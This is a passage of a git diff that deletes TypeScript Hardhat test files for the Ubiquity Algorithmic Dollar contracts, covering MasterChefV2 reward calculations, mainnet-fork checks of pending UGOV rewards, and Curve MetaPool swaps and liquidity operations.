ethers.utils.formatEther(ubq2)); - - expect(pendingUGOV2).to.be.equal(0); - expect(ubq1.add(pendingUGOV1).sub(ubq2)).to.be.lt(ten.pow(18)); - }); - - it("Should set uGOVPerBlock and emit UGOVPerBlockModified event", async () => { - await expect(masterChefV2.connect(admin).setUGOVPerBlock(one.mul(2))) - .to.emit(masterChefV2, "UGOVPerBlockModified") - .withArgs(one.mul(2)); - expect(await masterChefV2.uGOVPerBlock()).to.be.equal(one.mul(2)); - }); - - it("Should set minPriceDiffToUpdateMultiplier emit MinPriceDiffToUpdateMultiplierModified event", async () => { - const zz1 = BigNumber.from(10).pow(15); // 0.001 ether - await expect(masterChefV2.connect(admin).setMinPriceDiffToUpdateMultiplier(zz1)) - .to.emit(masterChefV2, "MinPriceDiffToUpdateMultiplierModified") - .withArgs(zz1); - expect(await masterChefV2.minPriceDiffToUpdateMultiplier()).to.be.equal(zz1); - }); - - it("Should MasterchefV2.1 have at least same functions than MasterChefV2", async () => { - // https://etherscan.io/address/0xB8Ec70D24306ECEF9D4aaf9986DCb1DA5736A997#code - const abiV2 = - '[{"inputs":[{"internalType":"address","name":"_manager","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"bondingShareId","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"bondingShareId","type":"uint256"}],"name":"Withdraw","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_bondingShareID","type":"uint256"}],"name":"deposit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_id","type":"uint256"}],"name":"getBondingShareInfo","outputs":[{"internalType":"uint256[2]","name":"","type":"uint256[2]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"bondingShareID","type":"uint256"}],"name":"getRewards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manager","outputs":[{"internalType":"contract UbiquityAlgorithmicDollarManager","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minPriceDiffToUpdateMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"bondingShareID","type":"uint256"}],"name":"pendingUGOV","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"uint256","name":"lastRewardBlock","type":"uint256"},{"internalType":"uint256","name":"accuGOVPerShare","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPriceDiffToUpdateMultiplier","type":"uint256"}],"name":"setMinPriceDiffToUpdateMultiplier","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_uGOVPerBlock","type":"uint256"}],"name":"setUGOVPerBlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_uGOVDivider","type":"uint256"}],"name":"setUGOVShareForTreasury","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uGOVDivider","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uGOVPerBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uGOVmultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_bondingShareID","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]'; - const ifaceDeployed = new ethers.utils.Interface(abiV2); - - const artifactDev = await artifacts.readArtifact("contracts/MasterChefV2.sol:MasterChefV2"); - const ifaceDev = new ethers.utils.Interface(artifactDev.abi); - - // start from previous version, new version has new events and may have new functions - ifaceDeployed.fragments.forEach((fragment) => { - // constructor differs, do not compare - if (fragment.type !== "constructor") { - const index = ifaceDev.fragments.findIndex((frag) => frag.type !== "constructor" && frag.format() === fragment.format()); - // console.log(index, fragment.format()); - expect(index).to.be.gte(0); - } - }); - }); -}); diff --git a/packages/contracts/dollar/test/MasterChefV2.pendingUGOV.test.ts b/packages/contracts/dollar/test/MasterChefV2.pendingUGOV.test.ts deleted file mode 100644 index 1a4d2aee1..000000000 --- a/packages/contracts/dollar/test/MasterChefV2.pendingUGOV.test.ts +++ /dev/null @@ -1,210 +0,0 @@ -import { expect } from "chai"; -import { BigNumber, Signer } from "ethers"; -import { ethers, deployments } from "hardhat"; -import { resetFork, mineNBlock, impersonate, impersonateWithEther } from "./utils/hardhatNode"; - -import { BondingShareV2 } from "../artifacts/types/BondingShareV2"; -import { MasterChefV2 } from "../artifacts/types/MasterChefV2"; -import { BondingV2 } from "../artifacts/types/BondingV2"; -import { IERC20Ubiquity } from "../artifacts/types/IERC20Ubiquity"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; - -const firstMigrateBlock = 12932141; -const lastBlock = 13004900; - -// const UBQ_MINTER_ROLE = ethers.utils.keccak256( -// ethers.utils.toUtf8Bytes("UBQ_MINTER_ROLE") -// ); -const zero = BigNumber.from(0); -const ten = BigNumber.from(10); -const one = ten.pow(18); - -// const firstOneAddress = "0x89eae71b865a2a39cba62060ab1b40bbffae5b0d"; -// let firstOne: Signer; -const firstOneBondId = 1; -const newOneAddress = "0xd6efc21d8c941aa06f90075de1588ac7e912fec6"; -let newOne: Signer; - -const managerAddress = "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"; -let manager: UbiquityAlgorithmicDollarManager; - -const adminAddress = "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd"; -let admin: Signer; - -// const BondingShareV2BlockCreation = 12931486; -const BondingShareV2Address = "0x2dA07859613C14F6f05c97eFE37B9B4F212b5eF5"; -let bondingShareV2: BondingShareV2; - -// const MasterChefV2BlockCreation = 12931490; -let MasterChefV2Address = "0xb8ec70d24306ecef9d4aaf9986dcb1da5736a997"; -let masterChefV2: MasterChefV2; - -// const BondingV2BlockCreation = 12931495; -const BondingV2Address = "0xC251eCD9f1bD5230823F9A0F99a44A87Ddd4CA38"; -let bondingV2: BondingV2; - -const UbqAddress = "0x4e38d89362f7e5db0096ce44ebd021c3962aa9a0"; -let UBQ: IERC20Ubiquity; - -// const newMasterChefV2 = async (): Promise => { -// return await deployments.fixture(["MasterChefV2.1"]); -// }; - -const init = async (block: number, newChef = false): Promise => { - await resetFork(block); - - admin = await impersonate(adminAddress); - // firstOne = await impersonate(firstOneAddress); - newOne = await impersonate(newOneAddress); - - // manager = (await ethers.getContractAt( - // "UbiquityAlgorithmicDollarManager", - // UbiquityAlgorithmicDollarManagerAddress - // )) as UbiquityAlgorithmicDollarManager; - - UBQ = (await ethers.getContractAt("UbiquityGovernance", UbqAddress)) as IERC20Ubiquity; - - bondingShareV2 = (await ethers.getContractAt("BondingShareV2", BondingShareV2Address)) as BondingShareV2; - - if (newChef) { - // await deployments.fixture(["MasterChefV2.1"]); - MasterChefV2Address = "0xdae807071b5AC7B6a2a343beaD19929426dBC998"; - } - - masterChefV2 = (await ethers.getContractAt("MasterChefV2", MasterChefV2Address)) as MasterChefV2; - - if (newChef) { - await impersonateWithEther(adminAddress, 100); - await masterChefV2.connect(admin).setUGOVPerBlock(one); - - const mgrFactory = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - const UBQ_MINTER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_MINTER_ROLE")); - manager = mgrFactory.attach(managerAddress) as UbiquityAlgorithmicDollarManager; - expect(manager.address).to.be.equal(managerAddress); - - await manager.connect(admin).setMasterChefAddress(masterChefV2.address); - await manager.connect(admin).grantRole(UBQ_MINTER_ROLE, masterChefV2.address); - } - - bondingV2 = (await ethers.getContractAt("BondingV2", BondingV2Address)) as BondingV2; -}; - -const query = async (bondId = 1, log = false): Promise<[BigNumber, BigNumber, BigNumber, BigNumber, BigNumber, BigNumber]> => { - const block = await ethers.provider.getBlockNumber(); - const uGOVPerBlock = await masterChefV2.uGOVPerBlock(); - const totalShares = await masterChefV2.totalShares(); - const [lastRewardBlock, accuGOVPerShare] = await masterChefV2.pool(); - const totalSupply = await bondingShareV2.totalSupply(); - - const pendingUGOV = await masterChefV2.pendingUGOV(bondId); - const [amount, rewardDebt] = await masterChefV2.getBondingShareInfo(bondId); - const bond = await bondingShareV2.getBond(bondId); - - if (log) { - console.log(`BLOCK:${block}`); - console.log("uGOVPerBlock", ethers.utils.formatEther(uGOVPerBlock)); - console.log("totalShares", ethers.utils.formatEther(totalShares)); - console.log("lastRewardBlock", lastRewardBlock.toString()); - console.log("accuGOVPerShare", ethers.utils.formatUnits(accuGOVPerShare.toString(), 12)); - console.log("totalSupply", totalSupply.toString()); - - console.log(`BOND:${bondId}`); - console.log("pendingUGOV", ethers.utils.formatEther(pendingUGOV)); - console.log("amount", ethers.utils.formatEther(amount)); - console.log("rewardDebt", ethers.utils.formatEther(rewardDebt)); - console.log("bond", bond.toString()); - } - return [totalShares, accuGOVPerShare, pendingUGOV, amount, rewardDebt, totalSupply]; -}; - -describe("MasterChefV2 pendingUGOV", () => { - after(async () => { - await resetFork(12592661); - }); - - describe("MasterChefV2", () => { - it("NULL just before first migration", async () => { - await init(firstMigrateBlock - 1); - expect(await query(firstOneBondId)).to.be.eql([zero, zero, zero, zero, zero, zero]); - }); - - it("TOO BIG after first migration", async () => { - await init(firstMigrateBlock); - const [totalShares, accuGOVPerShare, pendingUGOV, amount, rewardDebt, totalSupply] = await query(firstOneBondId); - - // NORMAL - expect(pendingUGOV).to.be.equal(0); - expect(totalSupply).to.be.equal(1); - expect(totalShares).to.be.gt(ten.pow(18)).lt(ten.pow(24)); - expect(amount).to.be.gt(ten.pow(18)).lt(ten.pow(24)); - - // TOO BIG - expect(accuGOVPerShare).to.be.gt(ten.pow(30)); - expect(rewardDebt).to.be.gt(ten.pow(30)); - }); - }); - - describe("MasterChefV2.1", () => { - it("OK after first 6 migrations", async () => { - await init(lastBlock, true); - - expect(await query(firstOneBondId)).to.be.eql([ - BigNumber.from("139167653238992273546036"), - zero, - BigNumber.from("623311950491000"), - BigNumber.from("1301000000000000000"), - zero, - BigNumber.from(6), - ]); - - await bondingV2.connect(admin).setMigrating(true); - await (await bondingV2.connect(newOne).migrate()).wait(); - - const id = (await bondingShareV2.holderTokens(newOneAddress))[0].toNumber(); - - // mine some blocks to get pendingUGOV - await mineNBlock(10); - - const [totalShares, accuGOVPerShare, pendingUGOV, amount, rewardDebt, totalSupply] = await query(id); - - expect(pendingUGOV).to.be.gt(ten.pow(18)).lt(ten.pow(24)); - expect(totalSupply).to.be.equal(7); - expect(totalShares).to.be.gt(ten.pow(18)).lt(ten.pow(24)); - expect(amount).to.be.gt(ten.pow(16)).lt(ten.pow(24)); - expect(accuGOVPerShare).to.gt(ten.pow(7)); - expect(rewardDebt).to.gt(ten.pow(16)).lt(ten.pow(24)); - }); - - it("Bond2 should get back UBQ", async () => { - await init(lastBlock, true); - - const user2 = "0x4007ce2083c7f3e18097aeb3a39bb8ec149a341d"; - const user2Signer = await impersonateWithEther(user2, 100); - - await mineNBlock(1000); - - const pendingUGOV1 = await masterChefV2.pendingUGOV(2); - const bond1 = await bondingShareV2.getBond(2); - const ubq1 = await UBQ.balanceOf(user2); - - // console.log("pendingUGOV", ethers.utils.formatEther(pendingUGOV1)); - // console.log("lpAmount", ethers.utils.formatEther(bond1[5])); - // console.log("UBQ", ethers.utils.formatEther(ubq1)); - - expect(pendingUGOV1).to.be.equal("586183265832926678156"); - expect(bond1[5]).to.be.equal("74603879373206500005186"); - expect(ubq1).to.be.equal("168394820774964495022850"); - expect(bond1[0].toLowerCase()).to.be.equal(user2.toLowerCase()); - - await masterChefV2.connect(user2Signer).getRewards(2); - const pendingUGOV2 = await masterChefV2.pendingUGOV(2); - const ubq2 = await UBQ.balanceOf(user2); - - // console.log("pendingUGOV", ethers.utils.formatEther(pendingUGOV2)); - // console.log("UBQ", ethers.utils.formatEther(ubq2)); - - expect(pendingUGOV2).to.be.equal(0); - expect(ubq1.add(pendingUGOV1).sub(ubq2)).to.be.lt(ten.pow(18)); - }); - }); -}); diff --git a/packages/contracts/dollar/test/MasterChefV2.test.ts b/packages/contracts/dollar/test/MasterChefV2.test.ts deleted file mode 100644 index 0509d8f2c..000000000 --- a/packages/contracts/dollar/test/MasterChefV2.test.ts +++ /dev/null @@ -1,100 +0,0 @@ -import { describe, it } from "mocha"; -import { BigNumber, Signer } from "ethers"; -import { expect } from "./setup"; -import { bondingSetupV2, deposit } from "./BondingSetupV2"; -import { MasterChefV2 } from "../artifacts/types/MasterChefV2"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { mineNBlock } from "./utils/hardhatNode"; -import { isAmountEquivalent } from "./utils/calc"; -import { UbiquityGovernance } from "../artifacts/types/UbiquityGovernance"; -import { BondingV2 } from "../artifacts/types/BondingV2"; -import { BondingShareV2 } from "../artifacts/types/BondingShareV2"; - -describe("MasterChefV2", () => { - const one: BigNumber = BigNumber.from(10).pow(18); // one = 1 ether = 10^18 - let masterChefV2: MasterChefV2; - - let secondAccount: Signer; - let fourthAccount: Signer; - let secondAddress: string; - let metaPool: IMetaPool; - let uGOV: UbiquityGovernance; - let bondingV2: BondingV2; - let bondingShareV2: BondingShareV2; - - beforeEach(async () => { - ({ masterChefV2, bondingV2, bondingShareV2, uGOV, secondAccount, fourthAccount, metaPool } = await bondingSetupV2()); - secondAddress = await secondAccount.getAddress(); - // for testing purposes set the week equal to one block - await bondingV2.setBlockCountInAWeek(1); - }); - - describe("deposit", () => { - it("should be able to calculate pending UBQ", async () => { - const totalLPBeforeAdd = await bondingShareV2.totalLP(); - const balanceBondingBeforeAdd = await metaPool.balanceOf(bondingV2.address); - const amount = one.mul(100); - const { id, bsAmount, shares, creationBlock, endBlock } = await deposit(secondAccount, amount, 1); - const totalLPAfterAdd = await bondingShareV2.totalLP(); - const balanceBondingAfterAdd = await metaPool.balanceOf(bondingV2.address); - expect(totalLPAfterAdd).to.equal(totalLPBeforeAdd.add(amount)); - expect(balanceBondingAfterAdd).to.equal(balanceBondingBeforeAdd.add(amount)); - expect(id).to.equal(1); - expect(bsAmount).to.equal(1); - const detail = await bondingShareV2.getBond(id); - expect(detail.lpAmount).to.equal(amount); - expect(detail.lpFirstDeposited).to.equal(amount); - expect(detail.minter).to.equal(await secondAccount.getAddress()); - expect(detail.lpRewardDebt).to.equal(0); - expect(detail.creationBlock).to.equal(creationBlock); - expect(detail.endBlock).to.equal(endBlock); - const shareDetail = await masterChefV2.getBondingShareInfo(id); - expect(shareDetail[0]).to.equal(shares); - let totShares = await masterChefV2.totalShares(); - let percentage = shareDetail[0].mul(100).div(totShares); - expect(percentage).to.equal(100); - // user amount is equal to the amount of user's bonding share - const tokensID = await bondingShareV2.holderTokens(secondAddress); - - // do not have pending rewards just after depositing - let pendingUGOV = await masterChefV2.pendingUGOV(tokensID[0]); - expect(pendingUGOV).to.equal(0); - - // as we have 100% of the shares we should get all the rewards per block - await mineNBlock(1); - const uGOVPerBlock = await masterChefV2.uGOVPerBlock(); - const uGOVmultiplier = await masterChefV2.uGOVmultiplier(); - pendingUGOV = await masterChefV2.pendingUGOV(tokensID[0]); - const calculatedPendingUGOV = uGOVPerBlock.mul(uGOVmultiplier).div(one); - - const isPrecise = isAmountEquivalent(pendingUGOV.toString(), calculatedPendingUGOV.toString(), "0.00000000001"); - expect(isPrecise).to.be.true; - await deposit(fourthAccount, amount, 1); - - totShares = await masterChefV2.totalShares(); - percentage = shareDetail[0].mul(100).div(totShares); - - expect(percentage).to.equal(50); - // we mine 99 blocks plus 1 block to mine the deposit that makes 100 blocks - await mineNBlock(99); - - const pendingUGOV2 = await masterChefV2.pendingUGOV(tokensID[0]); - - // as we have a new deposit for the same amount/duration - // we have now only 50% of the shares - // we should get half the rewards per block - const calculatedPendingUGOVAfterTheSecondDeposit = uGOVPerBlock.mul(uGOVmultiplier).div(2).mul(99).div(one); - // we have accumulated UBQ before the second deposit - // 1 block + 2 blocks for the deposit including the approve and the deposit itself - const calculatedPendingUGOV2 = calculatedPendingUGOVAfterTheSecondDeposit.add(pendingUGOV).add(pendingUGOV).add(pendingUGOV); - const isPrecise2 = isAmountEquivalent(pendingUGOV2.toString(), calculatedPendingUGOV2.toString(), "0.00000000001"); - expect(isPrecise2).to.be.true; - // the rewards is actually what has been calculated - await masterChefV2.connect(secondAccount).getRewards(tokensID[0]); - const calculatedPendingUGOVAfterGetRewards = uGOVPerBlock.mul(uGOVmultiplier).div(2).mul(100).div(one).add(pendingUGOV).add(pendingUGOV).add(pendingUGOV); - const afterBal = await uGOV.balanceOf(secondAddress); - const isPrecise3 = isAmountEquivalent(afterBal.toString(), calculatedPendingUGOVAfterGetRewards.toString(), "0.00000000001"); - expect(isPrecise3).to.be.true; - }); - }); -}); diff --git a/packages/contracts/dollar/test/MetaPool.test.ts b/packages/contracts/dollar/test/MetaPool.test.ts deleted file mode 100644 index e844c7e05..000000000 --- a/packages/contracts/dollar/test/MetaPool.test.ts +++ /dev/null @@ -1,275 +0,0 @@ -import { ContractTransaction, Signer } from "ethers"; -import { ethers, getNamedAccounts, network } from "hardhat"; -import { describe, it } from "mocha"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { expect } from "./setup"; -import { resetFork } from "./utils/hardhatNode"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { ERC20 } from "../artifacts/types/ERC20"; -import { TWAPOracle } from "../artifacts/types/TWAPOracle"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { ICurveFactory } from "../artifacts/types/ICurveFactory"; -import { swapDAItoUAD, swapUADto3CRV, swapUADtoDAI } from "./utils/swap"; - -describe("MetaPool", () => { - let metaPool: IMetaPool; - let manager: UbiquityAlgorithmicDollarManager; - let admin: Signer; - let secondAccount: Signer; - let daiToken: ERC20; - let uAD: UbiquityAlgorithmicDollar; - let DAI: string; - let USDC: string; - let USDT: string; - let curvePoolFactory: ICurveFactory; - let curveFactory: string; - let curve3CrvBasePool: string; - let curve3CrvToken: string; - let crvToken: ERC20; - let curveWhaleAddress: string; - let daiWhaleAddress: string; - let curveWhale: Signer; - let twapOracle: TWAPOracle; - - beforeEach(async () => { - ({ DAI, USDC, USDT, curveFactory, curve3CrvBasePool, curve3CrvToken, curveWhaleAddress, daiWhaleAddress } = await getNamedAccounts()); - [admin, secondAccount] = await ethers.getSigners(); - await resetFork(12592661); - const Manager = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - manager = (await Manager.deploy(await admin.getAddress())) as UbiquityAlgorithmicDollarManager; - - const UAD = await ethers.getContractFactory("UbiquityAlgorithmicDollar"); - uAD = (await UAD.deploy(manager.address)) as UbiquityAlgorithmicDollar; - - // mint 10000 uAD each for admin and secondAccount - const mintings = [await admin.getAddress(), await secondAccount.getAddress(), manager.address].map( - async (signer): Promise => uAD.connect(admin).mint(signer, ethers.utils.parseEther("10000")) - ); - await Promise.all(mintings); - - await manager.connect(admin).setDollarTokenAddress(uAD.address); - - crvToken = (await ethers.getContractAt("ERC20", curve3CrvToken)) as ERC20; - daiToken = (await ethers.getContractAt("ERC20", DAI)) as ERC20; - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [curveWhaleAddress], - }); - - curveWhale = ethers.provider.getSigner(curveWhaleAddress); - // mint uad for whale - await uAD.connect(admin).mint(curveWhaleAddress, ethers.utils.parseEther("10")); - - await crvToken.connect(curveWhale).transfer(manager.address, ethers.utils.parseEther("10000")); - - await manager.connect(admin).deployStableSwapPool(curveFactory, curve3CrvBasePool, crvToken.address, 10, 4000000); - - const metaPoolAddr = await manager.stableSwapMetaPoolAddress(); - metaPool = (await ethers.getContractAt("IMetaPool", metaPoolAddr)) as IMetaPool; - - const TWAPOracleDeployment = await ethers.getContractFactory("TWAPOracle"); - twapOracle = (await TWAPOracleDeployment.deploy(metaPoolAddr, uAD.address, curve3CrvToken)) as TWAPOracle; - - await manager.connect(admin).setTwapOracleAddress(twapOracle.address); - - curvePoolFactory = (await ethers.getContractAt("ICurveFactory", curveFactory)) as ICurveFactory; - }); - describe("MetaPool", () => { - it("should perform an exchange between DAI to UAD ", async () => { - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [daiWhaleAddress], - }); - const daiWhale = ethers.provider.getSigner(daiWhaleAddress); - const secondAccountAdr = await secondAccount.getAddress(); - const amountToSwap = ethers.utils.parseEther("10000"); - await daiToken.connect(daiWhale).transfer(secondAccountAdr, amountToSwap); - - // Performs an exchange between two tokens. - const uAD2ndBalbeforeSWAP = await uAD.balanceOf(secondAccountAdr); - const secondAccountDAIBalanceBefore = await daiToken.balanceOf(secondAccountAdr); - // Exchange (swap) DAI to UAD - const dyUAD = await swapDAItoUAD(metaPool, daiToken, amountToSwap, secondAccount); - - const secondAccountDAIBalanceAfter = await daiToken.balanceOf(secondAccountAdr); - const secondAccountuADBalanceAfter = await uAD.balanceOf(secondAccountAdr); - expect(secondAccountDAIBalanceAfter).to.equal(secondAccountDAIBalanceBefore.sub(amountToSwap)); - const expectedUAD = uAD2ndBalbeforeSWAP.add(dyUAD); - - // assert expected presision - - expect(secondAccountuADBalanceAfter).to.be.lte(expectedUAD); - expect(secondAccountuADBalanceAfter).to.be.gte(expectedUAD.mul(9999).div(10000)); - }); - it("should perform an exchange between uAD and DAI", async () => { - // Performs an exchange between two tokens. - const uAD2ndBalbeforeSWAP = await uAD.balanceOf(await secondAccount.getAddress()); - - // Exchange (swap) - const dyuADtoDAI = await swapUADtoDAI(metaPool, uAD, ethers.utils.parseEther("1"), secondAccount); - const secondAccountDAIBalance = await daiToken.balanceOf(await secondAccount.getAddress()); - const secondAccountuADBalance = await uAD.balanceOf(await secondAccount.getAddress()); - expect(secondAccountDAIBalance).to.equal(dyuADtoDAI); - expect(secondAccountuADBalance).to.equal(uAD2ndBalbeforeSWAP.sub(ethers.utils.parseEther("1"))); - }); - it("should perform an exchange between uAD and 3CRV", async () => { - // Performs an exchange between two tokens. - const uAD2ndBalbeforeSWAP = await uAD.balanceOf(await secondAccount.getAddress()); - - // Exchange (swap) - const dyuADto3CRV = await swapUADto3CRV(metaPool, uAD, ethers.utils.parseEther("1"), secondAccount); - - const secondAccount3CRVBalance = await crvToken.balanceOf(await secondAccount.getAddress()); - const secondAccountuADBalance = await uAD.balanceOf(await secondAccount.getAddress()); - expect(secondAccount3CRVBalance).to.equal(dyuADto3CRV); - expect(secondAccountuADBalance).to.equal(uAD2ndBalbeforeSWAP.sub(ethers.utils.parseEther("1"))); - }); - it("should return correct name", async () => { - const name = await metaPool.name(); - expect(name).to.equal("Curve.fi Factory USD Metapool: Ubiquity Algorithmic Dollar"); - const symbol = await metaPool.symbol(); - expect(symbol).to.equal("uAD3CRV-f"); - }); - it("should return correct pool balance", async () => { - const pool0bal = await metaPool.balances(0); - const pool1bal = await metaPool.balances(1); - expect(pool0bal).to.equal(ethers.utils.parseEther("10000")); - expect(pool1bal).to.equal(ethers.utils.parseEther("10000")); - }); - it("should return correct token price", async () => { - await twapOracle.update(); - - const dyuADto3CRV = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - expect(dyuADto3CRV).to.equal("983945512295267596"); - }); - it("should return correct underlying token price", async () => { - const dyuAD2USDT = await metaPool["get_dy_underlying(int128,int128,uint256)"](0, 3, ethers.utils.parseEther("1")); - expect(dyuAD2USDT).to.equal("1001098"); - const dyDAI2USDT = await metaPool["get_dy_underlying(int128,int128,uint256)"](1, 3, ethers.utils.parseEther("1")); - expect(dyDAI2USDT).to.equal("1000623"); - const dyuAD2DAI = await metaPool["get_dy_underlying(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - expect(dyuAD2DAI).to.equal("1000011060260788055"); - const dyDAI2uAD = await metaPool["get_dy_underlying(int128,int128,uint256)"](1, 0, ethers.utils.parseEther("1")); - expect(dyDAI2uAD).to.equal("998714251903486448"); - }); - it("deposit liquidity with only uAD should decrease its price", async () => { - const dyuAD2USDT = await metaPool["get_dy_underlying(int128,int128,uint256)"](0, 3, ethers.utils.parseEther("1")); - expect(dyuAD2USDT).to.equal("1001098"); - const dyuAD2CRV = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - - const uAD2ndBalbeforeAddLiquidity = await uAD.balanceOf(await secondAccount.getAddress()); - const LP2ndBalbeforeAddLiquidity = await metaPool.balanceOf(await secondAccount.getAddress()); - // secondAccount need to approve metaPool for sending its uAD - await uAD.connect(secondAccount).approve(metaPool.address, ethers.utils.parseEther("1")); - - const dyuAD2LP = await metaPool["calc_token_amount(uint256[2],bool)"]([ethers.utils.parseEther("1"), 0], true); - await metaPool.connect(secondAccount)["add_liquidity(uint256[2],uint256)"]([ethers.utils.parseEther("1"), 0], dyuAD2LP.mul(99).div(100)); - const uAD2ndBalAfterAddLiquidity = await uAD.balanceOf(await secondAccount.getAddress()); - const LP2ndBalAfterAddLiquidity = await metaPool.balanceOf(await secondAccount.getAddress()); - - expect(LP2ndBalAfterAddLiquidity).to.be.gt(LP2ndBalbeforeAddLiquidity); - // it is less because calc_token_amount accounts for slippage, but not fees. - // It should not be considered to be precise! - expect(LP2ndBalAfterAddLiquidity).to.be.lt(LP2ndBalbeforeAddLiquidity.add(dyuAD2LP)); - expect(uAD2ndBalAfterAddLiquidity).to.equal(uAD2ndBalbeforeAddLiquidity.sub(ethers.utils.parseEther("1"))); - const dyuAD2USDTAfter = await metaPool["get_dy_underlying(int128,int128,uint256)"](0, 3, ethers.utils.parseEther("1")); - expect(dyuAD2USDTAfter).to.be.lt(dyuAD2USDT); - const dyuAD2CRVAfter = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - expect(dyuAD2CRVAfter).to.be.lt(dyuAD2CRV); - }); - it("remove liquidity should provide both tokens", async () => { - const balanceLPAdminBefore = await metaPool.balanceOf(await admin.getAddress()); - const balanceuADAdminBefore = await uAD.balanceOf(await admin.getAddress()); - const balance3CRVAdminBefore = await crvToken.balanceOf(await admin.getAddress()); - const amount = ethers.utils.parseEther("500"); - const priceUADBefore = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - - const dyLPtokenToBurn = await metaPool["calc_token_amount(uint256[2],bool)"]([amount, amount], false); - - await metaPool["remove_liquidity(uint256,uint256[2])"](dyLPtokenToBurn, [amount, amount]); - const balanceLPAdminAfter = await metaPool.balanceOf(await admin.getAddress()); - const balanceuADAdminAfter = await uAD.balanceOf(await admin.getAddress()); - const balance3CRVAdminAfter = await crvToken.balanceOf(await admin.getAddress()); - const priceUADAfter = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - expect(priceUADAfter).to.be.lt(priceUADBefore); - expect(balanceLPAdminAfter).to.be.lt(balanceLPAdminBefore); - expect(balanceuADAdminAfter).to.be.gt(balanceuADAdminBefore); - expect(balance3CRVAdminAfter).to.be.gt(balance3CRVAdminBefore); - }); - it("remove liquidity with only uAD should increase uAD price", async () => { - const balanceLPAdminBefore = await metaPool.balanceOf(await admin.getAddress()); - const balanceuADAdminBefore = await uAD.balanceOf(await admin.getAddress()); - const balance3CRVAdminBefore = await crvToken.balanceOf(await admin.getAddress()); - const amount = ethers.utils.parseEther("1000"); - const priceUADBefore = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - - const dyuAD = await metaPool["calc_withdraw_one_coin(uint256,int128)"](amount, 0); - - await metaPool["remove_liquidity_one_coin(uint256,int128,uint256)"](amount, 0, dyuAD.mul(99).div(100)); - const balanceLPAdminAfter = await metaPool.balanceOf(await admin.getAddress()); - const balanceuADAdminAfter = await uAD.balanceOf(await admin.getAddress()); - const balance3CRVAdminAfter = await crvToken.balanceOf(await admin.getAddress()); - const priceUADAfter = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - expect(priceUADAfter).to.be.gt(priceUADBefore); - expect(balanceLPAdminAfter).to.be.lt(balanceLPAdminBefore); - expect(balanceuADAdminAfter).to.be.gt(balanceuADAdminBefore); - expect(balance3CRVAdminAfter).to.equal(balance3CRVAdminBefore); - }); - }); - describe("CurvePoolFactory", () => { - it("should return correct number of coins and underlying coins within a pool", async () => { - // Get the number of coins and underlying coins within a pool. - const nCoins = await curvePoolFactory.get_n_coins(metaPool.address); - expect(nCoins[0]).to.equal(2); - expect(nCoins[1]).to.equal(4); - }); - it("should return a list of the swappable coins within a pool", async () => { - // Get a list of the swappable coins within a pool. - const coins = await curvePoolFactory.get_coins(metaPool.address); - expect(coins[0].toString()).to.equal(uAD.address); - 